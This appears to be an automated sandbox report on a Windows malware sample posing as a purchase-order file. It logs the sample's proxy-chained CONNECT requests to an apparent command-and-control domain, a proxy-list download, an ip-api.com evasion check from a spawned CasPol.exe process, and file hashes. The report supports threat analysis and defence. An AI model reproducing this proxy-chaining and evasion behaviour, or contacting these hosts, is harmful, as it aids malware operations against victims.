Mar 11, 2024 16:39:58.519129992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411149979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.004785061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.207847118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.10	53756	51.75.126.150	15474	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.990930080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.10	55260	199.58.184.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.051842928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.10	55300	85.239.121.168	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.052464008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.10	55239	98.188.47.132	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.053375006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.10	54042	72.167.8.5	44774	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.077545881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.207931995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.10	54679	142.54.239.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.116880894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.10	53997	194.44.177.225	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.125900030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.285873890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.286192894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.286055088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.285692930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.10	55298	42.49.148.167	9001	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.142235041 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:59.176557064 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:59.654953957 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.10	54017	103.133.24.211	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.143744946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.285893917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.286217928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.539501905 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.10	55306	208.95.112.1	80	43836	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:58.605024099 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Mar 11, 2024 16:39:58.766179085 CET	175	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	140.82.114.3	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:39:41 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-03-11 15:39:42 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Mon, 11 Mar 2024 15:39:41 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"ed55716797e67a43d63770c37db483e5" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-03-11 15:39:42 UTC	3595	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-03-11 15:39:42 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 66 34 64 38 35 37 63 62 63 39 36 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-f4d857cbc96a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 Data Ascii: ps://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://gi
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 62 6f 78 2d 6e 61 76 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6c 62 61 72 2d 65 2d 38 32 30 66 63 30 2d 62 63 38 66 30 32 62 39 36 37 34 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 Data Ascii: " defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js"></script><script crossorigin="anonymous" defer
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 38 35 37 34 35 33 30 61 36 63 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f Data Ascii: fer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-8574530a6cd5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendo
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 65 72 74 5f 69 6e 64 65 78 5f 6a 73 2d 37 32 63 39 66 62 64 65 35 61 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 Data Ascii: ert_index_js-72c9fbde5ad4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index
2024-03-11 15:39:42 UTC	1370	IN	Data Raw: 62 5f 62 65 68 61 76 69 6f 72 73 5f 69 6e 63 6c 75 64 65 2d 34 36 37 37 35 34 2d 66 39 62 64 34 33 33 65 39 35 39 31 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 63 6f 6d 6d 65 6e 74 69 6e 67 5f 65 64 69 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f Data Ascii: b_behaviors_include-467754-f9bd433e9591.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	51274	222.255.238.159	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:39:45 UTC	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-03-11 15:39:46 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:39:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-03-11 15:39:46 UTC	638	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	54313	172.67.190.93	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:39:51 UTC	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-03-11 15:39:51 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-03-11 15:39:51 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Target ID:	0
Start time:	16:39:38
Start date:	11/03/2024
Path:	C:\Users\user\Desktop\PO-065-01-2024E-2.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\PO-065-01-2024E-2.exe
Imagebase:	0x1c0c3790000
File size:	34'816 bytes
MD5 hash:	EE63ACFDF27065E435D5F8379E54F929
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	16:39:53
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Imagebase:	0xde0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
